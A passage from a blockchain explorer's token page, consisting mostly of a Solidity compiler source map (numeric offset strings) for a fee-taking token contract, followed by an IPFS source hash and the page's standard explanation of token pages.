;:19;;:27;;;;:::i;:::-;7987:9;:15;7997:4;7987:15;;;;;;;;;;;;;;;:45;;;;8049:15;8068:17;:23;8086:4;8068:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;8095:17;:21;8113:2;8095:21;;;;;;;;;;;;;;;;;;;;;;;;;8068:48;8067:90;;8129:28;8144:4;8150:6;8129:14;:28::i;:::-;8067:90;;;8120:6;8067:90;8049:108;;8202:26;8220:7;8202:9;:13;8212:2;8202:13;;;;;;;;;;;;;;;;:17;;:26;;;;:::i;:::-;8186:9;:13;8196:2;8186:13;;;;;;;;;;;;;;;:42;;;;8265:2;8250:27;;8259:4;8250:27;;;8269:7;8250:27;;;;;;:::i;:::-;;;;;;;;8299:4;8292:11;;;7242:1080;;;;;;:::o;1510:192::-;1596:7;1629:1;1624;:6;;1632:12;1616:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1656:9;1672:1;1668;:5;;;;:::i;:::-;1656:17;;1693:1;1686:8;;;1510:192;;;;;:::o;8330:330::-;8423:4;8460:53;8482:6;8460:53;;;;;;;;;;;;;;;;;:9;:17;8470:6;8460:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;8440:9;:17;8450:6;8440:17;;;;;;;;;;;;;;;:73;;;;8547:32;8572:6;8547:9;:20;8557:9;8547:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;8524:9;:20;8534:9;8524:20;;;;;;;;;;;;;;;:55;;;;8612:9;8595:35;;8604:6;8595:35;;;8623:6;8595:35;;;;;;:::i;:::-;;;;;;;;8648:4;8641:11;;8330:330;;;;;:::o;1708:248::-;1766:7;1795:1;1790;:6;1786:47;;;1820:1;1813:8;;;;1786:47;1843:9;1859:1;1855;:5;;;;:::i;:::-;1843:17;;1888:1;1883;1879;:5;;;;:::i;:::-;:10;1871:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1947:1;1940:8;;;1708:248;;;;;:::o;8668:417::-;4643:4;4624:16;;:23;;;;;;;;;;;;;;;;;;8739:21:::1;8777:1;8763:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8739:40;;8808:4;8790;8795:1;8790:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;8834:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8824:4;8829:1;8824:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;8873:15;;;;;;;;;;;:66;;;8954:6;8975:1;8992:4;9019:6;;;;;;;;;;;9041:15;8873:194;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8869:209;;;;;;8728:357;4689:5:::0;4670:16;;:24;;;;;;;;;;;;;;;;;;8668:417;:::o;1366:136::-;1424:7;1451:43;1455:1;1458;1451:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1444:50;;1366:136;;;;:::o;9386:395::-;9460:7;9480:15;9498:22;9516:3;9498:13;9509:1;9498:6;:10;;:13;;;;:::i;:::-;:17;;:22;;;;:::i;:::-;9480:40;;9552:1;9536:4;:12;9541:6;9536:12;;;;;;;;;;;;;;;;:17;9533:51;;9577:7;9568:6;:16;;;;:::i;:::-;9557:27;;;;;:::i;:::-;;;9533:51;9610:1;9600:7;:11;9597:138;;;9656:7;9628:9;:24;9646:4;9628:24;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;9708:4;9683:40;;9692:6;9683:40;;;9715:7;9683:40;;;;;;:::i;:::-;;;;;;;;9597:138;9754:19;9765:7;9754:6;:10;;:19;;;;:::i;:::-;9747:26;;;9386:395;;;;:::o;1175:181::-;1233:7;1253:9;1269:1;1265;:5;;;;:::i;:::-;1253:17;;1294:1;1289;:6;;1281:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1347:1;1340:8;;;1175:181;;;;:::o;1964:132::-;2022:7;2049:39;2053:1;2056;2049:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2042:46;;1964:132;;;;:::o;2104:189::-;2190:7;2222:1;2218;:5;2225:12;2210:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2249:9;2265:1;2261;:5;;;;:::i;:::-;2249:17;;2284:1;2277:8;;;2104:189;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;301:139::-;347:5;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;301:139;;;;:::o;446:329::-;505:6;554:2;542:9;533:7;529:23;525:32;522:119;;;560:79;;:::i;:::-;522:119;680:1;705:53;750:7;741:6;730:9;726:22;705:53;:::i;:::-;695:63;;651:117;446:329;;;;:::o;781:351::-;851:6;900:2;888:9;879:7;875:23;871:32;868:119;;;906:79;;:::i;:::-;868:119;1026:1;1051:64;1107:7;1098:6;1087:9;1083:22;1051:64;:::i;:::-;1041:74;;997:128;781:351;;;;:::o;1138:474::-;1206:6;1214;1263:2;1251:9;1242:7;1238:23;1234:32;1231:119;;;1269:79;;:::i;:::-;1231:119;1389:1;1414:53;1459:7;1450:6;1439:9;1435:22;1414:53;:::i;:::-;1404:63;;1360:117;1516:2;1542:53;1587:7;1578:6;1567:9;1563:22;1542:53;:::i;:::-;1532:63;;1487:118;1138:474;;;;;:::o;1618:619::-;1695:6;1703;1711;1760:2;1748:9;1739:7;1735:23;1731:32;1728:119;;;1766:79;;:::i;:::-;1728:119;1886:1;1911:53;1956:7;1947:6;1936:9;1932:22;1911:53;:::i;:::-;1901:63;;1857:117;2013:2;2039:53;2084:7;2075:6;2064:9;2060:22;2039:53;:::i;:::-;2029:63;;1984:118;2141:2;2167:53;2212:7;2203:6;2192:9;2188:22;2167:53;:::i;:::-;2157:63;;2112:118;1618:619;;;;;:::o;2243:474::-;2311:6;2319;2368:2;2356:9;2347:7;2343:23;2339:32;2336:119;;;2374:79;;:::i;:::-;2336:119;2494:1;2519:53;2564:7;2555:6;2544:9;2540:22;2519:53;:::i;:::-;2509:63;;2465:117;2621:2;2647:53;2692:7;2683:6;2672:9;2668:22;2647:53;:::i;:::-;2637:63;;2592:118;2243:474;;;;;:::o;2723:179::-;2792:10;2813:46;2855:3;2847:6;2813:46;:::i;:::-;2891:4;2886:3;2882:14;2868:28;;2723:179;;;;:::o;2908:142::-;3011:32;3037:5;3011:32;:::i;:::-;3006:3;2999:45;2908:142;;:::o;3056:108::-;3133:24;3151:5;3133:24;:::i;:::-;3128:3;3121:37;3056:108;;:::o;3170:118::-;3257:24;3275:5;3257:24;:::i;:::-;3252:3;3245:37;3170:118;;:::o;3324:732::-;3443:3;3472:54;3520:5;3472:54;:::i;:::-;3542:86;3621:6;3616:3;3542:86;:::i;:::-;3535:93;;3652:56;3702:5;3652:56;:::i;:::-;3731:7;3762:1;3747:284;3772:6;3769:1;3766:13;3747:284;;;3848:6;3842:13;3875:63;3934:3;3919:13;3875:63;:::i;:::-;3868:70;;3961:60;4014:6;3961:60;:::i;:::-;3951:70;;3807:224;3794:1;3791;3787:9;3782:14;;3747:284;;;3751:14;4047:3;4040:10;;3448:608;;;3324:732;;;;:::o;4062:109::-;4143:21;4158:5;4143:21;:::i;:::-;4138:3;4131:34;4062:109;;:::o;4177:183::-;4290:63;4347:5;4290:63;:::i;:::-;4285:3;4278:76;4177:183;;:::o;4366:147::-;4461:45;4500:5;4461:45;:::i;:::-;4456:3;4449:58;4366:147;;:::o;4519:364::-;4607:3;4635:39;4668:5;4635:39;:::i;:::-;4690:71;4754:6;4749:3;4690:71;:::i;:::-;4683:78;;4770:52;4815:6;4810:3;4803:4;4796:5;4792:16;4770:52;:::i;:::-;4847:29;4869:6;4847:29;:::i;:::-;4842:3;4838:39;4831:46;;4611:272;4519:364;;;;:::o;4889:366::-;5031:3;5052:67;5116:2;5111:3;5052:67;:::i;:::-;5045:74;;5128:93;5217:3;5128:93;:::i;:::-;5246:2;5241:3;5237:12;5230:19;;4889:366;;;:::o;5261:::-;5403:3;5424:67;5488:2;5483:3;5424:67;:::i;:::-;5417:74;;5500:93;5589:3;5500:93;:::i;:::-;5618:2;5613:3;5609:12;5602:19;;5261:366;;;:::o;5633:::-;5775:3;5796:67;5860:2;5855:3;5796:67;:::i;:::-;5789:74;;5872:93;5961:3;5872:93;:::i;:::-;5990:2;5985:3;5981:12;5974:19;;5633:366;;;:::o;6005:365::-;6147:3;6168:66;6232:1;6227:3;6168:66;:::i;:::-;6161:73;;6243:93;6332:3;6243:93;:::i;:::-;6361:2;6356:3;6352:12;6345:19;;6005:365;;;:::o;6376:366::-;6518:3;6539:67;6603:2;6598:3;6539:67;:::i;:::-;6532:74;;6615:93;6704:3;6615:93;:::i;:::-;6733:2;6728:3;6724:12;6717:19;;6376:366;;;:::o;6748:::-;6890:3;6911:67;6975:2;6970:3;6911:67;:::i;:::-;6904:74;;6987:93;7076:3;6987:93;:::i;:::-;7105:2;7100:3;7096:12;7089:19;;6748:366;;;:::o;7120:::-;7262:3;7283:67;7347:2;7342:3;7283:67;:::i;:::-;7276:74;;7359:93;7448:3;7359:93;:::i;:::-;7477:2;7472:3;7468:12;7461:19;;7120:366;;;:::o;7492:::-;7634:3;7655:67;7719:2;7714:3;7655:67;:::i;:::-;7648:74;;7731:93;7820:3;7731:93;:::i;:::-;7849:2;7844:3;7840:12;7833:19;;7492:366;;;:::o;7864:118::-;7951:24;7969:5;7951:24;:::i;:::-;7946:3;7939:37;7864:118;;:::o;7988:112::-;8071:22;8087:5;8071:22;:::i;:::-;8066:3;8059:35;7988:112;;:::o;8106:222::-;8199:4;8237:2;8226:9;8222:18;8214:26;;8250:71;8318:1;8307:9;8303:17;8294:6;8250:71;:::i;:::-;8106:222;;;;:::o;8334:254::-;8443:4;8481:2;8470:9;8466:18;8458:26;;8494:87;8578:1;8567:9;8563:17;8554:6;8494:87;:::i;:::-;8334:254;;;;:::o;8594:210::-;8681:4;8719:2;8708:9;8704:18;8696:26;;8732:65;8794:1;8783:9;8779:17;8770:6;8732:65;:::i;:::-;8594:210;;;;:::o;8810:274::-;8929:4;8967:2;8956:9;8952:18;8944:26;;8980:97;9074:1;9063:9;9059:17;9050:6;8980:97;:::i;:::-;8810:274;;;;:::o;9090:313::-;9203:4;9241:2;9230:9;9226:18;9218:26;;9290:9;9284:4;9280:20;9276:1;9265:9;9261:17;9254:47;9318:78;9391:4;9382:6;9318:78;:::i;:::-;9310:86;;9090:313;;;;:::o;9409:419::-;9575:4;9613:2;9602:9;9598:18;9590:26;;9662:9;9656:4;9652:20;9648:1;9637:9;9633:17;9626:47;9690:131;9816:4;9690:131;:::i;:::-;9682:139;;9409:419;;;:::o;9834:::-;10000:4;10038:2;10027:9;10023:18;10015:26;;10087:9;10081:4;10077:20;10073:1;10062:9;10058:17;10051:47;10115:131;10241:4;10115:131;:::i;:::-;10107:139;;9834:419;;;:::o;10259:::-;10425:4;10463:2;10452:9;10448:18;10440:26;;10512:9;10506:4;10502:20;10498:1;10487:9;10483:17;10476:47;10540:131;10666:4;10540:131;:::i;:::-;10532:139;;10259:419;;;:::o;10684:::-;10850:4;10888:2;10877:9;10873:18;10865:26;;10937:9;10931:4;10927:20;10923:1;10912:9;10908:17;10901:47;10965:131;11091:4;10965:131;:::i;:::-;10957:139;;10684:419;;;:::o;11109:::-;11275:4;11313:2;11302:9;11298:18;11290:26;;11362:9;11356:4;11352:20;11348:1;11337:9;11333:17;11326:47;11390:131;11516:4;11390:131;:::i;:::-;11382:139;;11109:419;;;:::o;11534:::-;11700:4;11738:2;11727:9;11723:18;11715:26;;11787:9;11781:4;11777:20;11773:1;11762:9;11758:17;11751:47;11815:131;11941:4;11815:131;:::i;:::-;11807:139;;11534:419;;;:::o;11959:::-;12125:4;12163:2;12152:9;12148:18;12140:26;;12212:9;12206:4;12202:20;12198:1;12187:9;12183:17;12176:47;12240:131;12366:4;12240:131;:::i;:::-;12232:139;;11959:419;;;:::o;12384:::-;12550:4;12588:2;12577:9;12573:18;12565:26;;12637:9;12631:4;12627:20;12623:1;12612:9;12608:17;12601:47;12665:131;12791:4;12665:131;:::i;:::-;12657:139;;12384:419;;;:::o;12809:222::-;12902:4;12940:2;12929:9;12925:18;12917:26;;12953:71;13021:1;13010:9;13006:17;12997:6;12953:71;:::i;:::-;12809:222;;;;:::o;13037:831::-;13300:4;13338:3;13327:9;13323:19;13315:27;;13352:71;13420:1;13409:9;13405:17;13396:6;13352:71;:::i;:::-;13433:80;13509:2;13498:9;13494:18;13485:6;13433:80;:::i;:::-;13560:9;13554:4;13550:20;13545:2;13534:9;13530:18;13523:48;13588:108;13691:4;13682:6;13588:108;:::i;:::-;13580:116;;13706:72;13774:2;13763:9;13759:18;13750:6;13706:72;:::i;:::-;13788:73;13856:3;13845:9;13841:19;13832:6;13788:73;:::i;:::-;13037:831;;;;;;;;:::o;13874:214::-;13963:4;14001:2;13990:9;13986:18;13978:26;;14014:67;14078:1;14067:9;14063:17;14054:6;14014:67;:::i;:::-;13874:214;;;;:::o;14175:132::-;14242:4;14265:3;14257:11;;14295:4;14290:3;14286:14;14278:22;;14175:132;;;:::o;14313:114::-;14380:6;14414:5;14408:12;14398:22;;14313:114;;;:::o;14433:99::-;14485:6;14519:5;14513:12;14503:22;;14433:99;;;:::o;14538:113::-;14608:4;14640;14635:3;14631:14;14623:22;;14538:113;;;:::o;14657:184::-;14756:11;14790:6;14785:3;14778:19;14830:4;14825:3;14821:14;14806:29;;14657:184;;;;:::o;14847:169::-;14931:11;14965:6;14960:3;14953:19;15005:4;15000:3;14996:14;14981:29;;14847:169;;;;:::o;15022:305::-;15062:3;15081:20;15099:1;15081:20;:::i;:::-;15076:25;;15115:20;15133:1;15115:20;:::i;:::-;15110:25;;15269:1;15201:66;15197:74;15194:1;15191:81;15188:107;;;15275:18;;:::i;:::-;15188:107;15319:1;15316;15312:9;15305:16;;15022:305;;;;:::o;15333:185::-;15373:1;15390:20;15408:1;15390:20;:::i;:::-;15385:25;;15424:20;15442:1;15424:20;:::i;:::-;15419:25;;15463:1;15453:35;;15468:18;;:::i;:::-;15453:35;15510:1;15507;15503:9;15498:14;;15333:185;;;;:::o;15524:348::-;15564:7;15587:20;15605:1;15587:20;:::i;:::-;15582:25;;15621:20;15639:1;15621:20;:::i;:::-;15616:25;;15809:1;15741:66;15737:74;15734:1;15731:81;15726:1;15719:9;15712:17;15708:105;15705:131;;;15816:18;;:::i;:::-;15705:131;15864:1;15861;15857:9;15846:20;;15524:348;;;;:::o;15878:191::-;15918:4;15938:20;15956:1;15938:20;:::i;:::-;15933:25;;15972:20;15990:1;15972:20;:::i;:::-;15967:25;;16011:1;16008;16005:8;16002:34;;;16016:18;;:::i;:::-;16002:34;16061:1;16058;16054:9;16046:17;;15878:191;;;;:::o;16075:96::-;16112:7;16141:24;16159:5;16141:24;:::i;:::-;16130:35;;16075:96;;;:::o;16177:104::-;16222:7;16251:24;16269:5;16251:24;:::i;:::-;16240:35;;16177:104;;;:::o;16287:90::-;16321:7;16364:5;16357:13;16350:21;16339:32;;16287:90;;;:::o;16383:126::-;16420:7;16460:42;16453:5;16449:54;16438:65;;16383:126;;;:::o;16515:77::-;16552:7;16581:5;16570:16;;16515:77;;;:::o;16598:86::-;16633:7;16673:4;16666:5;16662:16;16651:27;;16598:86;;;:::o;16690:152::-;16766:9;16799:37;16830:5;16799:37;:::i;:::-;16786:50;;16690:152;;;:::o;16848:121::-;16906:9;16939:24;16957:5;16939:24;:::i;:::-;16926:37;;16848:121;;;:::o;16975:126::-;17025:9;17058:37;17089:5;17058:37;:::i;:::-;17045:50;;16975:126;;;:::o;17107:113::-;17157:9;17190:24;17208:5;17190:24;:::i;:::-;17177:37;;17107:113;;;:::o;17226:307::-;17294:1;17304:113;17318:6;17315:1;17312:13;17304:113;;;17403:1;17398:3;17394:11;17388:18;17384:1;17379:3;17375:11;17368:39;17340:2;17337:1;17333:10;17328:15;;17304:113;;;17435:6;17432:1;17429:13;17426:101;;;17515:1;17506:6;17501:3;17497:16;17490:27;17426:101;17275:258;17226:307;;;:::o;17539:320::-;17583:6;17620:1;17614:4;17610:12;17600:22;;17667:1;17661:4;17657:12;17688:18;17678:81;;17744:4;17736:6;17732:17;17722:27;;17678:81;17806:2;17798:6;17795:14;17775:18;17772:38;17769:84;;;17825:18;;:::i;:::-;17769:84;17590:269;17539:320;;;:::o;17865:180::-;17913:77;17910:1;17903:88;18010:4;18007:1;18000:15;18034:4;18031:1;18024:15;18051:180;18099:77;18096:1;18089:88;18196:4;18193:1;18186:15;18220:4;18217:1;18210:15;18237:180;18285:77;18282:1;18275:88;18382:4;18379:1;18372:15;18406:4;18403:1;18396:15;18423:180;18471:77;18468:1;18461:88;18568:4;18565:1;18558:15;18592:4;18589:1;18582:15;18609:180;18657:77;18654:1;18647:88;18754:4;18751:1;18744:15;18778:4;18775:1;18768:15;18918:117;19027:1;19024;19017:12;19041:102;19082:6;19133:2;19129:7;19124:2;19117:5;19113:14;19109:28;19099:38;;19041:102;;;:::o;19149:222::-;19289:34;19285:1;19277:6;19273:14;19266:58;19358:5;19353:2;19345:6;19341:15;19334:30;19149:222;:::o;19377:221::-;19517:34;19513:1;19505:6;19501:14;19494:58;19586:4;19581:2;19573:6;19569:15;19562:29;19377:221;:::o;19604:177::-;19744:29;19740:1;19732:6;19728:14;19721:53;19604:177;:::o;19787:151::-;19927:3;19923:1;19915:6;19911:14;19904:27;19787:151;:::o;19944:220::-;20084:34;20080:1;20072:6;20068:14;20061:58;20153:3;20148:2;20140:6;20136:15;20129:28;19944:220;:::o;20170:182::-;20310:34;20306:1;20298:6;20294:14;20287:58;20170:182;:::o;20358:224::-;20498:34;20494:1;20486:6;20482:14;20475:58;20567:7;20562:2;20554:6;20550:15;20543:32;20358:224;:::o;20588:223::-;20728:34;20724:1;20716:6;20712:14;20705:58;20797:6;20792:2;20784:6;20780:15;20773:31;20588:223;:::o;20817:122::-;20890:24;20908:5;20890:24;:::i;:::-;20883:5;20880:35;20870:63;;20929:1;20926;20919:12;20870:63;20817:122;:::o;20945:::-;21018:24;21036:5;21018:24;:::i;:::-;21011:5;21008:35;20998:63;;21057:1;21054;21047:12;20998:63;20945:122;:::o

Swarm Source

ipfs://e2de4d9221db7f9d2b72efdacdfab202000b66c8ab2ddf681b7b7bbd606ae39d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.